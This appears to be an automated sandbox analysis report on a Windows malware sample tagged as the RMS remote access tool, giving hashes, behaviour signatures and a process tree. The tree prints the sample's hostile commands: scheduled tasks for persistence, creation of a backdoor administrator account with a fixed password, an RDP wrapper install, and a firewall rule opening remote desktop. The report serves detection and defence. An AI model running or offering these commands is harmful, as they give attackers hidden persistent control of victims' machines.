Analysis

  • max time kernel
    127s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    14-05-2022 23:14

General

  • Target

    24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe

  • Size

    6.0MB

  • MD5

    97a2185f37cdd11207322e349b344fb7

  • SHA1

    de2933539caac225cd11768d192bb97467e67010

  • SHA256

    24b0e23df17c77d44882a2e25ecbd4d3b07015af5d44cb325679a370b8304614

  • SHA512

    ca3fd27966cd4213ac5d469e91f69dcb8c098d432628a94061acfd3a5970df794233d8473c8f2216ad0b11c97d0609eb579b6cfefb5f9330c14fb1c18129dca5

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe
    "C:\Users\Admin\AppData\Local\Temp\24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:948
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:1188
    • C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1648
      • C:\ProgramData\Windows Tasks Service\winserv.exe
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1856
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1656
      • C:\Windows\SysWOW64\net.exe
        net user John 12345 /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1592
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user John 12345 /add
          4⤵
            PID:1468
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1548
        • C:\Windows\SysWOW64\net.exe
          net localgroup "Администраторы" John /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup "Администраторы" John /add
            4⤵
              PID:1116
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1784
          • C:\Windows\SysWOW64\net.exe
            net localgroup "Пользователи удаленного рабочего стола" John /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1772
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
              4⤵
                PID:1424
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1700
            • C:\Windows\SysWOW64\net.exe
              net localgroup "Пользователи удаленного управления" john /add" John /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1904
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                4⤵
                  PID:920
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
              2⤵
                PID:1284
                • C:\Windows\SysWOW64\net.exe
                  net localgroup "Administrators" John /add
                  3⤵
                    PID:744
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 localgroup "Administrators" John /add
                      4⤵
                        PID:284
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                    2⤵
                      PID:1532
                      • C:\Windows\SysWOW64\net.exe
                        net localgroup "Administradores" John /add
                        3⤵
                          PID:2024
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 localgroup "Administradores" John /add
                            4⤵
                              PID:948
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                          2⤵
                            PID:2004
                            • C:\Windows\SysWOW64\net.exe
                              net localgroup "Remote Desktop Users" john /add
                              3⤵
                                PID:1956
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                                  4⤵
                                    PID:1996
                              • C:\ProgramData\RDPWinst.exe
                                C:\ProgramData\RDPWinst.exe -i
                                2⤵
                                • Executes dropped EXE
                                • Modifies WinLogon
                                • Drops file in Program Files directory
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1864
                                • C:\Windows\system32\netsh.exe
                                  netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                  3⤵
                                    PID:1540
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c C:\Programdata\Install\del.bat
                                  2⤵
                                    PID:2004
                                    • C:\Windows\SysWOW64\timeout.exe
                                      timeout 5
                                      3⤵
                                      • Delays execution with timeout.exe
                                      PID:1116
                                • C:\Windows\system32\taskeng.exe
                                  taskeng.exe {A0E3B6BA-8688-4493-ADB0-3E03F6A8A06F} S-1-5-21-790309383-526510583-3802439154-1000:TVHJCWMH\Admin:Interactive:[1]
                                  1⤵
                                    PID:760
                                    • C:\ProgramData\Windows Tasks Service\winserv.exe
                                      "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                                      2⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of SetWindowsHookEx
                                      PID:1236
                                    • C:\ProgramData\Windows Tasks Service\winserv.exe
                                      "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                                      2⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of SetWindowsHookEx
                                      PID:1372

                                  Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\ProgramData\RDPWinst.exe

                                    Filesize

                                    1.4MB

                                    MD5

                                    3288c284561055044c489567fd630ac2

                                    SHA1

                                    11ffeabbe42159e1365aa82463d8690c845ce7b7

                                    SHA256

                                    ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                                    SHA512

                                    c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                                  • C:\ProgramData\Windows Tasks Service\settings.dat

                                    Filesize

                                    2KB

                                    MD5

                                    483fc2e7373a9ee36cc444fca67a32a8

                                    SHA1

                                    c2fe2355683b670622a8e00784bec5056291e494

                                    SHA256

                                    2ee9e47fc7edee23653ee17475e0f040255aad1be11cfcec389335078561944d

                                    SHA512

                                    e3b1cf539e5a542e0cab0ac9122e6027a5d489f0ac89a67070ad21ef7611010122ff2fad8d7d1d7fd6256bdb84e404a7eb8ef31bd86b0162b82c92d49af0a7e4

                                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                                    Filesize

                                    10.2MB

                                    MD5

                                    3f4f5a6cb95047fea6102bd7d2226aa9

                                    SHA1

                                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                                    SHA256

                                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                                    SHA512

                                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                                    Filesize

                                    10.2MB

                                    MD5

                                    3f4f5a6cb95047fea6102bd7d2226aa9

                                    SHA1

                                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                                    SHA256

                                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                                    SHA512

                                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                                    Filesize

                                    10.2MB

                                    MD5

                                    3f4f5a6cb95047fea6102bd7d2226aa9

                                    SHA1

                                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                                    SHA256

                                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                                    SHA512

                                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                                    Filesize

                                    10.2MB

                                    MD5

                                    3f4f5a6cb95047fea6102bd7d2226aa9

                                    SHA1

                                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                                    SHA256

                                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                                    SHA512

                                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                                    Filesize

                                    10.2MB

                                    MD5

                                    3f4f5a6cb95047fea6102bd7d2226aa9

                                    SHA1

                                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                                    SHA256

                                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                                    SHA512

                                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                                  • C:\Programdata\Install\del.bat

                                    Filesize

                                    159B

                                    MD5

                                    49a9fec3ba20596a39e2bfae59ff4b3c

                                    SHA1

                                    b9cc7369a94831b912ed85532d7cc99f32c82040

                                    SHA256

                                    3a85f338cd09aefe830c7b8bac225e3d8d847b7184ecfb625ad7f46492dba681

                                    SHA512

                                    e5174539967fbc5dd1a4cec7d7a868c45ff58906fd2e580ba49a82b0ff6fabfb0564678d3aca37e86f9124776d7aba6c65fa0f72219e0474adcb9dc8e7484bea

                                  • \??\PIPE\samr

                                    MD5

                                    d41d8cd98f00b204e9800998ecf8427e

                                    SHA1

                                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                                    SHA256

                                    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                    SHA512

                                    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                  • \??\PIPE\samr

                                    MD5

                                    d41d8cd98f00b204e9800998ecf8427e

                                    SHA1

                                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                                    SHA256

                                    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                    SHA512

                                    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                  • \??\PIPE\samr

                                    MD5

                                    d41d8cd98f00b204e9800998ecf8427e

                                    SHA1

                                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                                    SHA256

                                    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                    SHA512

                                    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                  • \??\PIPE\samr

                                    MD5

                                    d41d8cd98f00b204e9800998ecf8427e

                                    SHA1

                                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                                    SHA256

                                    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                    SHA512

                                    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                  • \??\PIPE\samr

                                    MD5

                                    d41d8cd98f00b204e9800998ecf8427e

                                    SHA1

                                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                                    SHA256

                                    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                    SHA512

                                    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                  • \Program Files\RDP Wrapper\rdpwrap.dll

                                    Filesize

                                    114KB

                                    MD5

                                    461ade40b800ae80a40985594e1ac236

                                    SHA1

                                    b3892eef846c044a2b0785d54a432b3e93a968c8

                                    SHA256

                                    798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                                    SHA512

                                    421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                                  • \ProgramData\RDPWinst.exe

                                    Filesize

                                    1.4MB

                                    MD5

                                    3288c284561055044c489567fd630ac2

                                    SHA1

                                    11ffeabbe42159e1365aa82463d8690c845ce7b7

                                    SHA256

                                    ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                                    SHA512

                                    c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                                  • \ProgramData\Windows Tasks Service\winserv.exe

                                    Filesize

                                    10.2MB

                                    MD5

                                    3f4f5a6cb95047fea6102bd7d2226aa9

                                    SHA1

                                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                                    SHA256

                                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                                    SHA512

                                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                                  • memory/284-81-0x0000000000000000-mapping.dmp

                                  • memory/744-80-0x0000000000000000-mapping.dmp

                                  • memory/920-78-0x0000000000000000-mapping.dmp

                                  • memory/948-55-0x0000000000000000-mapping.dmp

                                  • memory/948-85-0x0000000000000000-mapping.dmp

                                  • memory/1116-70-0x0000000000000000-mapping.dmp

                                  • memory/1116-99-0x0000000000000000-mapping.dmp

                                  • memory/1188-56-0x0000000000000000-mapping.dmp

                                  • memory/1236-100-0x0000000000000000-mapping.dmp

                                  • memory/1284-79-0x0000000000000000-mapping.dmp

                                  • memory/1372-103-0x0000000000000000-mapping.dmp

                                  • memory/1424-74-0x0000000000000000-mapping.dmp

                                  • memory/1468-67-0x0000000000000000-mapping.dmp

                                  • memory/1532-83-0x0000000000000000-mapping.dmp

                                  • memory/1540-95-0x0000000000000000-mapping.dmp

                                  • memory/1540-96-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/1548-68-0x0000000000000000-mapping.dmp

                                  • memory/1592-66-0x0000000000000000-mapping.dmp

                                  • memory/1648-58-0x0000000000000000-mapping.dmp

                                  • memory/1656-65-0x0000000000000000-mapping.dmp

                                  • memory/1700-76-0x0000000000000000-mapping.dmp

                                  • memory/1772-73-0x0000000000000000-mapping.dmp

                                  • memory/1784-72-0x0000000000000000-mapping.dmp

                                  • memory/1788-54-0x0000000075DB1000-0x0000000075DB3000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/1864-92-0x0000000000000000-mapping.dmp

                                  • memory/1876-69-0x0000000000000000-mapping.dmp

                                  • memory/1904-77-0x0000000000000000-mapping.dmp

                                  • memory/1956-88-0x0000000000000000-mapping.dmp

                                  • memory/1996-89-0x0000000000000000-mapping.dmp

                                  • memory/2004-97-0x0000000000000000-mapping.dmp

                                  • memory/2004-87-0x0000000000000000-mapping.dmp

                                  • memory/2024-84-0x0000000000000000-mapping.dmp